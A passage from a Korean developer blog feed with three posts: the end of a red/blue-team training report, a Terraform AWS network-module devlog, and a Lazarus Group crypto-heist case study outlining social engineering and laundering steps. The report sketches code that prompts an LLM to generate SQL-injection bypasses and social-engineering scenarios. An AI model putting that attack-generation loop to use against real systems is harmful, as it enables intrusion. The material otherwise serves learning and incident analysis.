<li>실제 사용자 패턴 부재</li>
</ul>
</li>
<li><p><strong>방어 시스템의 한계</strong></p>
<ul>
<li>패턴 기반 탐지 (Zero-day 취약)</li>
<li>오탐/미탐 발생</li>
<li>Application Layer 방어 부족</li>
</ul>
</li>
</ol>
<h4 id="623-향후-발전-방향">6.2.3 향후 발전 방향</h4>
<p><strong>1. AI 기반 자동화</strong></p>
<pre><code class="language-python">class AIRedTeam:
    def adaptive_attack(self, target):
        # 1. 정찰
        recon_data = self.reconnaissance(target)

        # 2. AI에게 상황 설명
        prompt = f&quot;&quot;&quot;
        서버 정보: {recon_data}
        시도한 공격: {self.failed_attacks}

        다음 공격 전략을 제안하세요:
        - 새로운 SQL Injection 우회 기법
        - 대체 공격 벡터
        - 소셜 엔지니어링 시나리오
        &quot;&quot;&quot;

        # 3. AI가 새로운 공격 생성
        next_attack = self.llm.generate(prompt)
        return next_attack</code></pre>
<p><strong>2. 하이브리드 접근</strong></p>
<pre><code>1. 자동화 도구로 1차 스캔
   ↓
2. 사람이 결과 분석
   ↓
3. 사람이 수동 공격 (WAF 우회)
   ↓
4. 자동화 도구로 재현 및 보고서 생성</code></pre><p><strong>3. 행위 기반 탐지 (UEBA)</strong></p>
<pre><code class="language-python">class BehaviorAnalyzer:
    def analyze(self, user_actions):
        # 정상 행위 프로필
        normal_profile = self.build_profile(user_actions)

        # 이상 탐지
        if user_actions.deviation(normal_profile) &gt; threshold:
            alert(&quot;비정상 행위 탐지&quot;)</code></pre>
<p><strong>4. 운영 환경 수준의 테스트</strong></p>
<ul>
<li>대규모 트래픽 생성</li>
<li>실제 사용자 패턴 모델링</li>
<li>다양한 OS/서비스 환경</li>
<li>프로덕션 데이터 (익명화)</li>
</ul>
<hr>
<h2 id="결론">결론</h2>
<h3 id="핵심-교훈">핵심 교훈</h3>
<ol>
<li><p><strong>자동화는 효율성을 높이지만, 창의성을 대체할 수 없다</strong></p>
<ul>
<li>속도: 자동화 승</li>
<li>정확도: 사람 승</li>
<li>적응력: 사람 승</li>
</ul>
</li>
<li><p><strong>방어는 다층 방어가 핵심이다</strong></p>
<ul>
<li>Network Layer: Fail2Ban</li>
<li>Application Layer: WAF</li>
<li>Code Layer: 입력 검증</li>
<li>Data Layer: 암호화</li>
</ul>
</li>
<li><p><strong>공격-방어는 끝없는 군비 경쟁이다</strong></p>
<ul>
<li>공격이 진화하면 방어도 진화해야 함</li>
<li>Zero-day는 항상 존재함</li>
<li>완벽한 보안은 없음</li>
</ul>
</li>
<li><p><strong>실패에서 배우는 것이 더 많다</strong></p>
<ul>
<li>성공한 공격보다 실패한 공격이 더 많은 인사이트 제공</li>
<li>실패 원인 분석이 핵심</li>
<li>시행착오가 곧 학습</li>
</ul>
</li>
</ol>
<h3 id="프로젝트-성과">프로젝트 성과</h3>
<p><strong>레드팀</strong>:</p>
<ul>
<li>CSRF 자동 포인트 탈취 성공 (105P)</li>
<li>크리덴셜 하베스팅 성공 (2건)</li>
<li>3가지 자동화 도구 개발</li>
</ul>
<p><strong>블루팀</strong>:</p>
<ul>
<li>247개 IP 자동 차단</li>
<li>SQL Injection, XSS 100% 차단</li>
<li>실시간 모니터링 시스템 구축</li>
<li>평균 복구 시간 3분</li>
</ul>
<p><strong>전체</strong>:</p>
<ul>
<li>공격-방어 상호작용 재현</li>
<li>실전형 보안 자동화 프레임워크</li>
<li>체계적 문서화 및 리포트</li>
</ul>
<h3 id="마치며">마치며</h3>
<p>이 프로젝트를 통해 우리는 <strong>보안 자동화의 가능성과 한계</strong>를 동시에 경험했다. 자동화는 분명히 효율적이고 강력하다. 하지만 사람의 창의성, 직관, 적응력을 완전히 대체할 수는 없다.</p>
<p>앞으로는 <strong>AI 기반 자동화</strong>와 <strong>하이브리드 접근</strong>을 통해 이 한계를 극복하고, 더 정교하고 실전적인 보안 자동화 시스템을 구축할 것이다.</p>
<p><strong>감사의 말</strong>:</p>
<ul>
<li>kt Cloud TECH UP 사이버 보안 프로그램</li>
<li>DreamHack 워게임 플랫폼</li>
<li>모든 팀원들의 노력과 협업</li>
</ul>
<hr>
<p><strong>참고 자료</strong>:</p>
<ul>
<li>a팀 보고서 취합본.pdf</li>
<li>GitHub: HOHK0923/ReD_Basic</li>
<li>GitHub: HOHK0923/Blue_basice_projects</li>
<li>DreamHack 워게임 플랫폼</li>
<li>OWASP Top 10:2021</li>
<li>ModSecurity CRS 문서</li>
<li>AWS Security Best Practices</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[Terraform 인프라 구조 확립 및 dev 네트워크 모듈 병합(Kt cloud 심화프로젝트)]]></title>
            <link>https://velog.io/@9_000k/Terraform-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B5%AC%EC%A1%B0-%ED%99%95%EB%A6%BD-%EB%B0%8F-dev-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%EB%AA%A8%EB%93%88-%EB%B3%91%ED%95%A9Kt-cloud-%EC%8B%AC%ED%99%94%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8</link>
            <guid>https://velog.io/@9_000k/Terraform-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B5%AC%EC%A1%B0-%ED%99%95%EB%A6%BD-%EB%B0%8F-dev-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%EB%AA%A8%EB%93%88-%EB%B3%91%ED%95%A9Kt-cloud-%EC%8B%AC%ED%99%94%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8</guid>
            <pubDate>Mon, 08 Dec 2025 07:48:11 GMT</pubDate>
            <description><![CDATA[<h1 id="20251208---terraform-인프라-구조-확립-및-dev-네트워크-모듈-병합">2025.12.08 - Terraform 인프라 구조 확립 및 dev 네트워크 모듈 병합</h1>
<h2 id="3줄-요약">3줄 요약</h2>
<ol>
<li>Team2SeC SIEM 프로젝트의 Terraform bootstrap과 dev 인프라 구조를 체계적으로 분리해서 완성함</li>
<li>네트워크 모듈 병합은 됐는데 실제 AWS 리소스가 없어서 CI/CD는 아직 못 돌림</li>
<li>bootstrap부터 실제로 배포하고 GitHub Secrets 등록해야 다음 단계 진행 가능함</li>
</ol>
<hr>
<h2 id="오늘-한-일">오늘 한 일</h2>
<h3 id="1-terraform-구조-정리">1. Terraform 구조 정리</h3>
<p>오늘은 프로젝트 인프라 코드 구조를 제대로 잡는 데 집중했음.</p>
<p><strong>완료한 작업</strong>:</p>
<ul>
<li>bootstrap 구조 검토 및 병합 (PR #5)</li>
<li>dev 환경용 네트워크 모듈 병합 (PR #6)</li>
<li>전체 디렉터리 구조 확립</li>
</ul>
<p><strong>현재 구조</strong>:</p>
<pre><code>terraform/
├── bootstrap/          # tfstate backend 관리
│   ├── s3.tf          # State 저장용 S3
│   ├── dynamodb.tf    # State Lock용 DynamoDB
│   └── oidc.tf        # GitHub Actions 인증
└── infra/
    ├── dev/           # 개발 환경
    │   ├── main.tf
    │   ├── network.tf
    │   └── backend.tf
    └── modules/
        └── network/   # VPC, Subnet, NAT 등</code></pre><p>팀원 피드백에서 구조가 깔끔하게 잘 잡혔다고 함. 특히 bootstrap과 dev 인프라를 분리한 점, common_tags 방식, 네이밍 규칙이 좋다는 평가 받음.</p>
<h3 id="2-네트워크-모듈-설계">2. 네트워크 모듈 설계</h3>
<p>dev 환경용 네트워크 모듈을 완성했음.</p>
<p><strong>구성 요소</strong>:</p>
<table>
<thead>
<tr>
<th>리소스</th>
<th>개수</th>
<th>용도</th>
</tr>
</thead>
<tbody><tr>
<td>VPC</td>
<td>1개</td>
<td>전체 네트워크 격리</td>
</tr>
<tr>
<td>Public Subnet</td>
<td>2개</td>
<td>AZ별 분산, NAT/Bastion용</td>
</tr>
<tr>
<td>Private Subnet</td>
<td>2개</td>
<td>AZ별 분산, 실제 워크로드용</td>
</tr>
<tr>
<td>Internet Gateway</td>
<td>1개</td>
<td>Public 서브넷 인터넷 연결</td>
</tr>
<tr>
<td>NAT Instance</td>
<td>1개</td>
<td>Private 서브넷 아웃바운드 (비용 절감)</td>
</tr>
</tbody></table>
<p><strong>NAT Instance 선택 이유</strong>:</p>
<ul>
<li>NAT Gateway는 시간당 과금이라 비용 부담이 큼</li>
<li>학습 프로젝트라 트래픽이 많지 않아서 t3.micro로 충분함</li>
<li>실제로 NAT Instance 설정하면서 Private Subnet 라우팅 구성 경험 쌓을 수 있음</li>
</ul>
<h3 id="3-모듈-구조-살펴보기">3. 모듈 구조 살펴보기</h3>
<p>네트워크 모듈 내부를 간단히 정리하면:</p>
<p><strong>modules/network/main.tf</strong>:</p>
<pre><code class="language-hcl"># VPC 생성
resource &quot;aws_vpc&quot; &quot;main&quot; {
  cidr_block           = var.vpc_cidr
  enable_dns_hostnames = true
  enable_dns_support   = true

  tags = merge(
    var.common_tags,
    { Name = &quot;${var.name_prefix}-vpc&quot; }
  )
}

# Public Subnet
resource &quot;aws_subnet&quot; &quot;public&quot; {
  count             = length(var.public_subnet_cidrs)
  vpc_id            = aws_vpc.main.id
  cidr_block        = var.public_subnet_cidrs[count.index]
  availability_zone = var.availability_zones[count.index]

  map_public_ip_on_launch = true

  tags = merge(
    var.common_tags,
    { Name = &quot;${var.name_prefix}-public-${count.index + 1}&quot; }
  )
}

# Private Subnet
resource &quot;aws_subnet&quot; &quot;private&quot; {
  count             = length(var.private_subnet_cidrs)
  vpc_id            = aws_vpc.main.id
  cidr_block        = var.private_subnet_cidrs[count.index]
  availability_zone = var.availability_zones[count.index]

  tags = merge(
    var.common_tags,
    { Name = &quot;${var.name_prefix}-private-${count.index + 1}&quot; }
  )
}</code></pre>
<p><strong>variables.tf에서 받는 주요 변수들</strong>:</p>
<table>
<thead>
<tr>
<th>변수명</th>
<th>타입</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td><code>vpc_cidr</code></td>
<td>string</td>
<td>VPC CIDR 블록 (예: 10.0.0.0/16)</td>
</tr>
<tr>
<td><code>public_subnet_cidrs</code></td>
<td>list(string)</td>
<td>Public 서브넷 CIDR 리스트</td>
</tr>
<tr>
<td><code>private_subnet_cidrs</code></td>
<td>list(string)</td>
<td>Private 서브넷 CIDR 리스트</td>
</tr>
<tr>
<td><code>availability_zones</code></td>
<td>list(string)</td>
<td>사용할 AZ 리스트</td>
</tr>
<tr>
<td><code>common_tags</code></td>
<td>map(string)</td>
<td>공통 태그</td>
</tr>
</tbody></table>
<p><strong>outputs.tf에서 내보내는 값들</strong>:</p>
<pre><code class="language-hcl">output &quot;vpc_id&quot; {
  description = &quot;VPC ID&quot;
  value       = aws_vpc.main.id
}

output &quot;public_subnet_ids&quot; {
  description = &quot;Public Subnet IDs&quot;
  value       = aws_subnet.public[*].id
}

output &quot;private_subnet_ids&quot; {
  description = &quot;Private Subnet IDs&quot;
  value       = aws_subnet.private[*].id
}</code></pre>
<p>이렇게 output으로 내보내면 나중에 EC2나 ECS 모듈에서 <code>module.network.vpc_id</code> 이런 식으로 참조할 수 있음.</p>
<hr>
<h2 id="문제-상황-및-해결-과정">문제 상황 및 해결 과정</h2>
<h3 id="1-github-actions에서-terraform-plan-실패">1. GitHub Actions에서 Terraform Plan 실패</h3>
<p><strong>문제</strong>:
PR을 올리면 자동으로 <code>terraform plan</code>이 돌아가야 하는데 실패함.</p>
<p><strong>원인 분석</strong>:</p>
<ul>
<li>bootstrap 코드는 있지만 실제 AWS에 S3/DynamoDB가 생성되지 않음</li>
<li><code>terraform init</code> 단계에서 backend 설정을 찾지 못해 실패</li>
<li>GitHub Actions용 OIDC Role ARN이 secrets에 등록되지 않아 인증도 안됨</li>
</ul>
<p><strong>현재 상황</strong>:</p>
<pre><code>terraform init
╷
│ Error: Failed to get existing workspaces: S3 bucket does not exist.
│ 
│ The referenced S3 bucket must have been previously created.
╵</code></pre><p>이거 진짜 삽질했음. 코드만 짜놓고 실제 리소스를 배포 안 해서 발생한 문제였음.</p>
<p><strong>해결 방안</strong>:</p>
<ol>
<li>bootstrap 디렉터리에서 먼저 <code>terraform apply</code> 실행</li>
<li>S3 버킷과 DynamoDB 테이블 생성</li>
<li>OIDC Provider와 GitHub Actions Role 생성</li>
<li>Role ARN을 GitHub Secrets에 등록</li>
<li>그 다음에 dev 인프라 배포 시작</li>
</ol>
<h3 id="2-nat-instance-설정-시-주의사항">2. NAT Instance 설정 시 주의사항</h3>
<p><strong>문제</strong>:
NAT Instance를 사용하면 Private Subnet에서 인터넷 아웃바운드가 안 될 수 있음.</p>
<p><strong>원인</strong>:</p>
<ul>
<li>NAT Instance의 Source/Destination Check가 활성화되어 있으면 패킷 포워딩이 안됨</li>
<li>Private Route Table에 NAT Instance로 향하는 라우팅이 제대로 설정되지 않으면 트래픽이 안 나감</li>
<li>NAT Instance의 보안 그룹이 Private Subnet CIDR를 허용하지 않으면 막힘</li>
</ul>
<p><strong>해결</strong>:</p>
<pre><code class="language-hcl"># NAT Instance
resource &quot;aws_instance&quot; &quot;nat&quot; {
  ami                    = data.aws_ami.nat.id
  instance_type          = &quot;t3.micro&quot;
  subnet_id              = aws_subnet.public[0].id
  source_dest_check      = false  # 이거 중요함!

  tags = merge(
    var.common_tags,
    { Name = &quot;${var.name_prefix}-nat-instance&quot; }
  )
}

# Private Route Table
resource &quot;aws_route_table&quot; &quot;private&quot; {
  vpc_id = aws_vpc.main.id

  route {
    cidr_block           = &quot;0.0.0.0/0&quot;
    network_interface_id = aws_instance.nat.primary_network_interface_id
  }

  tags = merge(
    var.common_tags,
    { Name = &quot;${var.name_prefix}-private-rt&quot; }
  )
}</code></pre>
<p><strong>추가로 확인할 것</strong>:</p>
<ul>
<li>NAT Instance의 보안 그룹에서 Private Subnet CIDR(10.0.2.0/24, 10.0.3.0/24)로부터의 모든 트래픽 허용</li>
<li>User Data에서 iptables 규칙 설정 확인</li>
<li>네트워크 인터페이스 이름이 동적으로 바뀔 수 있으니 스크립트로 탐지하는 게 나음</li>
</ul>
<h3 id="3-모듈-구조-vs-실제-리소스-괴리">3. 모듈 구조 vs 실제 리소스 괴리</h3>
<p><strong>문제</strong>:
인프라 코드 구조는 완성됐는데 실제로 배포할 리소스들(EC2, CloudWatch, Kinesis 등)은 아직 모듈화가 안 됨.</p>
<p><strong>현재 상태</strong>:</p>
<pre><code>✅ bootstrap 코드 완성
✅ network 모듈 완성
❌ EC2 (DVWA) 모듈 미작성
❌ CloudWatch Agent 설정 미작성
❌ Kinesis Stream 모듈 미작성
❌ ECS (Fargate) 모듈 미작성
❌ OpenSearch 모듈 미작성</code></pre><p><strong>계획</strong>:
모듈을 하나씩 PR로 쪼개서 작업할 예정임. 순서는:</p>
<ol>
<li>DVWA EC2 모듈 (웹 취약점 애플리케이션)</li>
<li>CloudWatch Agent 설치 및 로그 수집 설정</li>
<li>Kinesis Stream (로그 전송 파이프라인)</li>
<li>ECS Fargate (컨테이너 워크로드)</li>
<li>OpenSearch (로그 분석 및 시각화)</li>
</ol>
<hr>
<h2 id="배운-점-및-개선-사항">배운 점 및 개선 사항</h2>
<h3 id="1-iac-구조-설계의-중요성">1. IaC 구조 설계의 중요성</h3>
<p>처음엔 그냥 한 파일에 다 때려박을까 했는데, 모듈로 쪼개니까 진짜 편함.</p>
<p><strong>장점</strong>:</p>
<ul>
<li>코드 재사용성이 높아짐 (dev, prod 환경 분리 가능)</li>
<li>유지보수가 쉬움 (네트워크만 수정하고 싶으면 network 모듈만 건드림)</li>
<li>PR 리뷰가 명확함 (변경 범위가 작아서 리뷰어가 보기 편함)</li>
</ul>
<h3 id="2-bootstrap의-필요성">2. Bootstrap의 필요성</h3>
<p>Terraform을 쓰려면 state를 어딘가에 저장해야 하는데, 그걸 위한 S3/DynamoDB도 Terraform으로 만들어야 함. ==이게 닭이 먼저냐 달걀이 먼저냐 문제임.==</p>
<p><strong>해결</strong>:</p>
<ol>
<li>bootstrap은 로컬 state로 먼저 배포</li>
<li>생성된 S3/DynamoDB를 backend로 설정</li>
<li><code>terraform init -migrate-state</code>로 state를 S3로 옮김</li>
</ol>
<h3 id="3-cicd-파이프라인-구축-순서">3. CI/CD 파이프라인 구축 순서</h3>
<p>GitHub Actions로 자동화하려면:</p>
<ol>
<li>먼저 OIDC Provider 생성</li>
<li>Role과 Policy 설정</li>
<li>GitHub Secrets에 Role ARN 등록</li>
<li>그 다음에 workflow에서 해당 Role을 assume</li>
</ol>
<p>==이 순서를 안 지키면 인증 오류로 삽질함.==</p>
<h3 id="4-nat-instance-vs-nat-gateway">4. NAT Instance vs NAT Gateway</h3>
<table>
<thead>
<tr>
<th>비교 항목</th>
<th>NAT Instance</th>
<th>NAT Gateway</th>
</tr>
</thead>
<tbody><tr>
<td>비용</td>
<td>EC2 인스턴스 비용 (시간당 ~$0.01)</td>
<td>시간당 $0.045 + 데이터 전송 비용</td>
</tr>
<tr>
<td>가용성</td>
<td>단일 인스턴스 (직접 관리)</td>
<td>AWS 관리형 (HA 보장)</td>
</tr>
<tr>
<td>성능</td>
<td>인스턴스 타입에 따라 다름</td>
<td>최대 45Gbps</td>
</tr>
<tr>
<td>관리</td>
<td>직접 패치 및 모니터링 필요</td>
<td>AWS가 관리</td>
</tr>
<tr>
<td>학습 가치</td>
<td>라우팅, iptables 경험 쌓기 좋음</td>
<td>편하지만 블랙박스</td>
</tr>
</tbody></table>
<p>학습 목적이니까 NAT Instance로 가는 게 맞다고 판단했음. 실무에선 NAT Gateway 쓰는 게 당연히 나음.</p>
<hr>
<h2 id="개선-사항">개선 사항</h2>
<h3 id="1-pr-단위-조정">1. PR 단위 조정</h3>
<p>팀원 피드백대로 앞으로는 리소스 단위로 PR을 쪼갤 예정임.</p>
<p><strong>Before</strong>:</p>
<ul>
<li>PR #1: 전체 인프라 코드 (리뷰하기 힘듦)</li>
</ul>
<p><strong>After</strong>:</p>
<ul>
<li>PR #5: bootstrap</li>
<li>PR #6: network 모듈</li>
<li>PR #7: EC2 모듈 (예정)</li>
<li>PR #8: CloudWatch Agent (예정)</li>
</ul>
<h3 id="2-모듈-내부-역할-세분화">2. 모듈 내부 역할 세분화</h3>
<p>현재 network 모듈은 VPC, Subnet, IGW, NAT를 다 포함하고 있음. 나중에 규모가 커지면:</p>
<ul>
<li><code>modules/vpc/</code></li>
<li><code>modules/subnet/</code></li>
<li><code>modules/nat/</code></li>
</ul>
<p>이렇게 더 쪼갤 수도 있을 것 같음. 지금은 오버엔지니어링이라 일단 패스.</p>
<h3 id="3-backend-설정-devprod-분리">3. Backend 설정 dev/prod 분리</h3>
<p>지금은 dev 환경만 있는데, 나중에 prod 환경도 추가하면 backend를 어떻게 분리할지 고민해야 함.</p>
<p><strong>옵션 1</strong>: S3 버킷은 하나, key만 다르게</p>
<pre><code class="language-hcl"># dev
backend &quot;s3&quot; {
  key = &quot;dev/terraform.tfstate&quot;
}

# prod
backend &quot;s3&quot; {
  key = &quot;prod/terraform.tfstate&quot;
}</code></pre>
<p><strong>옵션 2</strong>: 아예 버킷 자체를 분리</p>
<pre><code class="language-hcl"># dev
backend &quot;s3&quot; {
  bucket = &quot;team2sec-tfstate-dev&quot;
}

# prod
backend &quot;s3&quot; {
  bucket = &quot;team2sec-tfstate-prod&quot;
}</code></pre>
<p>일단 dev만 있으니 나중에 결정하기로.</p>
<hr>
<h2 id="다음-단계">다음 단계</h2>
<h3 id="내일-할-일">내일 할 일</h3>
<ul>
<li><input disabled="" type="checkbox"> bootstrap 실제 AWS에 배포</li>
<li><input disabled="" type="checkbox"> GitHub Secrets에 <code>AWS_ROLE_ARN</code>, <code>AWS_REGION</code> 등록</li>
<li><input disabled="" type="checkbox"> GitHub Actions workflow 테스트</li>
<li><input disabled="" type="checkbox"> DVWA EC2 모듈 초안 작성</li>
<li><input disabled="" type="checkbox"> CloudWatch Agent user_data 스크립트 작성</li>
</ul>
<h3 id="다음-주-계획">다음 주 계획</h3>
<ul>
<li><input disabled="" type="checkbox"> EC2 모듈 PR 생성 (feature/infra-ec2-dvwa)</li>
<li><input disabled="" type="checkbox"> Kinesis Stream 모듈 설계</li>
<li><input disabled="" type="checkbox"> ECS Fargate 구성 검토</li>
<li><input disabled="" type="checkbox"> OpenSearch 도메인 설정 연구</li>
</ul>
<hr>
<h2 id="마치며">마치며</h2>
<p>오늘은 인프라 코드 구조를 잡는 데 집중했음. 실제 리소스는 아직 없지만, 기반은 탄탄하게 깔았다고 생각함.</p>
<p>bootstrap부터 배포하고 나면 본격적으로 리소스들을 올릴 수 있을 것 같음. CI/CD 파이프라인 돌아가는 거 보면 진짜 뿌듯할 듯.</p>
<p>NAT Instance 설정하면서 라우팅 테이블이랑 보안 그룹 설정 손으로 해보는 것도 좋은 경험이었음. 이론으로만 알던 걸 직접 하니까 이해가 확실히 깊어짐.</p>
<p>다음 포스트에서는 bootstrap 배포 과정과 첫 번째 리소스 모듈(EC2) 작성 과정을 정리할 예정임.</p>
<hr>
<p><strong>참고 자료</strong>:</p>
<ul>
<li><a href="https://registry.terraform.io/providers/hashicorp/aws/latest/docs">Terraform AWS Provider 공식 문서</a></li>
<li><a href="https://developer.hashicorp.com/terraform/language/modules">Terraform Module 작성 가이드</a></li>
<li><a href="https://docs.aws.amazon.com/vpc/latest/userguide/vpc-design.html">AWS VPC 설계 베스트 프랙티스</a></li>
<li>Team2SeC 프로젝트 GitHub Repository (비공개)</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[라자루스 그룹 암호화폐 해킹 케이스]]></title>
            <link>https://velog.io/@9_000k/%EB%9D%BC%EC%9E%90%EB%A3%A8%EC%8A%A4-%EA%B7%B8%EB%A3%B9-%EC%95%94%ED%98%B8%ED%99%94%ED%8F%90-%ED%95%B4%ED%82%B9-%EC%BC%80%EC%9D%B4%EC%8A%A4</link>
            <guid>https://velog.io/@9_000k/%EB%9D%BC%EC%9E%90%EB%A3%A8%EC%8A%A4-%EA%B7%B8%EB%A3%B9-%EC%95%94%ED%98%B8%ED%99%94%ED%8F%90-%ED%95%B4%ED%82%B9-%EC%BC%80%EC%9D%B4%EC%8A%A4</guid>
            <pubDate>Fri, 17 Oct 2025 08:15:53 GMT</pubDate>
            <description><![CDATA[<h1 id="라자루스-그룹-암호화폐-해킹-케이스">라자루스 그룹 암호화폐 해킹 케이스</h1>
<blockquote>
<p><strong>작성 목적</strong>: 보안 업계 사고 분석 문서 (궁금증)
<strong>자료 출처</strong>: UN 보고서, FBI 발표, Chainalysis 블록체인 분석, OFAC 제재 리스트</p>
</blockquote>
<hr>
<h2 id="1-들어가며">1. 들어가며</h2>
<p>북한 배후 해킹 조직 라자루스 그룹(Lazarus Group)은 2016년부터 현재까지 암호화폐 거래소와 DeFi 프로토콜을 타겟으로 <strong>약 30억 달러 이상</strong>을 탈취한 것으로 추정됨 (UN 안전보장이사회 보고서, 2023).</p>
<h3 id="핵심-연구-질문">핵심 연구 질문</h3>
<ol>
<li>블록체인은 투명한데 어떻게 자금을 세탁했나?</li>
<li>국제 사회의 추적을 어떻게 피했나?</li>
<li>탈취한 암호화폐를 실제로 현금화할 수 있었나?</li>
</ol>
<p>이 문서는 검증된 사례 중심으로 라자루스의 공격 기법과 자금 세탁 프로세스를 분석함.</p>
<hr>
<h2 id="2-라자루스-그룹-개요">2. 라자루스 그룹 개요</h2>
<h3 id="21-조직-정보">2.1 조직 정보</h3>
<table>
<thead>
<tr>
<th>항목</th>
<th>내용</th>
</tr>
</thead>
<tbody><tr>
<td><strong>공식 명칭</strong></td>
<td>Lazarus Group (Hidden Cobra, APT38, Zinc 등으로도 불림)</td>
</tr>
<tr>
<td><strong>배후</strong></td>
<td>북한 정찰총국 산하 추정</td>
</tr>
<tr>
<td><strong>활동 시작</strong></td>
<td>2009년 (Sony Pictures 해킹으로 유명)</td>
</tr>
<tr>
<td><strong>주요 타겟</strong></td>
<td>금융기관, 암호화폐 거래소, DeFi 프로토콜</td>
</tr>
<tr>
<td><strong>제재 현황</strong></td>
<td>미국 OFAC 제재 대상 (2019~)</td>
</tr>
</tbody></table>
<h3 id="22-주요-목적">2.2 주요 목적</h3>
<p>UN 전문가 패널 보고서(2022)에 따르면:</p>
<ul>
<li>북한의 핵무기·미사일 개발 자금 조달</li>
<li>국제 제재로 인한 외화 부족 해소</li>
<li>연간 <strong>2억~10억 달러</strong> 규모 탈취 추정</li>
</ul>
<hr>
<h2 id="3-주요-해킹-사례-검증된-사건">3. 주요 해킹 사례 (검증된 사건)</h2>
<h3 id="31-사례-요약">3.1 사례 요약</h3>
<table>
<thead>
<tr>
<th>날짜</th>
<th>타겟</th>
<th>피해액</th>
<th>출처</th>
</tr>
</thead>
<tbody><tr>
<td>2018.01</td>
<td>Coincheck (일본)</td>
<td>$530M</td>
<td>FBI 귀속 발표</td>
</tr>
<tr>
<td>2019.03</td>
<td>Upbit (한국)</td>
<td>$50M</td>
<td>경찰청 발표</td>
</tr>
<tr>
<td>2022.03</td>
<td>Ronin Network</td>
<td>$625M</td>
<td>FBI, Chainalysis 확인</td>
</tr>
<tr>
<td>2023.06</td>
<td>Atomic Wallet</td>
<td>$100M+</td>
<td>Elliptic 분석</td>
</tr>
<tr>
<td>2024.05</td>
<td>DMM Bitcoin</td>
<td>$305M</td>
<td>일본 경찰청 발표</td>
</tr>
</tbody></table>
<p><strong>총 피해액</strong>: 약 20억 달러 이상 (확인된 사건만)</p>
<hr>
<h2 id="4-공격-기법-분석">4. 공격 기법 분석</h2>
<h3 id="41-ronin-network-해킹-2022---상세-케이스">4.1 Ronin Network 해킹 (2022) - 상세 케이스</h3>
<p>FBI가 공식 귀속한 케이스로 가장 상세히 분석된 사례임.</p>
<h4 id="411-타겟-정보">4.1.1 타겟 정보</h4>
<ul>
<li><strong>대상</strong>: Ronin Network (Axie Infinity 게임 블록체인)</li>
<li><strong>날짜</strong>: 2022년 3월 23일</li>
<li><strong>피해액</strong>: $625M (ETH 173,600개 + USDC $25.5M)</li>
</ul>
<h4 id="412-공격-과정-fbi-발표-기반">4.1.2 공격 과정 (FBI 발표 기반)</h4>
<p><strong>1단계: 정찰 및 침투 (2021년 후반~)</strong></p>
<pre><code>타겟 선정
└─ Sky Mavis (Ronin 개발사) 직원 LinkedIn 분석
└─ 핵심 개발자 특정
└─ 소셜 엔지니어링 준비</code></pre><p>공격 방식:</p>
<ul>
<li>LinkedIn을 통해 Sky Mavis 직원에게 접근</li>
<li>가짜 채용 제안 (&quot;Web3 Senior Engineer&quot; 포지션)</li>
<li>PDF 이력서 형태의 악성코드 전송</li>
</ul>
<p><strong>2단계: 검증자 키 탈취</strong></p>
<p>Ronin 브릿지 구조:</p>
<ul>
<li>9개 검증자(Validator) 중 <strong>5개 서명 필요</strong> (Multi-sig)</li>
<li>Sky Mavis가 4개 검증자 운영 (집중화 문제)</li>
</ul>
<p>라자루스가 탈취한 키:</p>
<ol>
<li>Sky Mavis 검증자 4개 (내부망 침투로 획득)</li>
<li>Axie DAO 검증자 1개 (별도 공격)</li>
<li><strong>총 5/9 달성</strong> → 출금 권한 획득</li>
</ol>
<p><strong>3단계: 자금 탈취</strong></p>
<p>2022년 3월 23일 실행된 트랜잭션:</p>
<ul>
<li>173,600 ETH (당시 $594M)</li>
<li>25.5M USDC</li>
<li>승인: 5/9 서명 ✓</li>
<li>상태: Success (Etherscan 기록)</li>
</ul>
<p><strong>4단계: 발각 지연</strong></p>
<ul>
<li>해킹 후 <strong>6일간 발견 못함</strong></li>
<li>3월 29일 유저 출금 불가로 신고</li>
<li>그때서야 Sky Mavis가 해킹 확인</li>
</ul>
<hr>
<h3 id="42-공격-기법-정리">4.2 공격 기법 정리</h3>
<h4 id="공통-패턴-chainalysis-분석-기반">공통 패턴 (Chainalysis 분석 기반)</h4>
<table>
<thead>
<tr>
<th>단계</th>
<th>기법</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td><strong>정찰</strong></td>
<td>OSINT + LinkedIn</td>
<td>타겟 조직 구조 파악, 핵심 인물 특정</td>
</tr>
<tr>
<td><strong>침투</strong></td>
<td>소셜 엔지니어링</td>
<td>가짜 채용 제안, 악성 PDF/링크</td>
</tr>
<tr>
<td><strong>권한 획득</strong></td>
<td>APT 기법</td>
<td>내부망 장기 잠복, 측면 이동</td>
</tr>
<tr>
<td><strong>실행</strong></td>
<td>새벽 시간대 공격</td>
<td>모니터링 약한 시간 노림</td>
</tr>
<tr>
<td><strong>발각 지연</strong></td>
<td>정상 트랜잭션 위장</td>
<td>검증된 서명 사용으로 알람 무력화</td>
</tr>
</tbody></table>
<h4 id="주요-특징">주요 특징</h4>
<ol>
<li><strong>시간 투자</strong>: 침투부터 실행까지 수개월~1년 소요</li>
<li><strong>완벽한 계획</strong>: 백업 없이 한 번에 전액 탈취</li>
<li><strong>기술력</strong>: Multi-sig 우회, 스마트 컨트랙트 취약점 악용</li>
</ol>
<hr>
<h2 id="5-자금-세탁-프로세스">5. 자금 세탁 프로세스</h2>
<h3 id="51-전체-흐름도">5.1 전체 흐름도</h3>
<pre><code>[해킹한 지갑]
    ↓
[즉시 분산] → 수백~수천 개 주소
    ↓
[믹싱 서비스] → Tornado Cash 등
    ↓
[체인 호핑] → ETH → BTC → XMR
    ↓
[OTC 거래] → 중국 브로커
    ↓
[최종 현금화]</code></pre><h3 id="52-단계별-상세-분석">5.2 단계별 상세 분석</h3>
<h4 id="521-즉시-분산-peel-chain">5.2.1 즉시 분산 (Peel Chain)</h4>
<p>Chainalysis가 추적한 패턴:</p>
<pre><code>해킹 직후:
[메인 지갑: $625M]
    ↓ 30분 이내
[주소 1: $2M]
[주소 2: $1.5M]
[주소 3: $3M]
...
[주소 N: $0.8M]</code></pre><p>목적:</p>
<ul>
<li>추적 복잡도 증가</li>
<li>블랙리스트 우회 (소액으로 나눠서)</li>
<li>동시 다발적 이동으로 혼란 유발</li>
</ul>
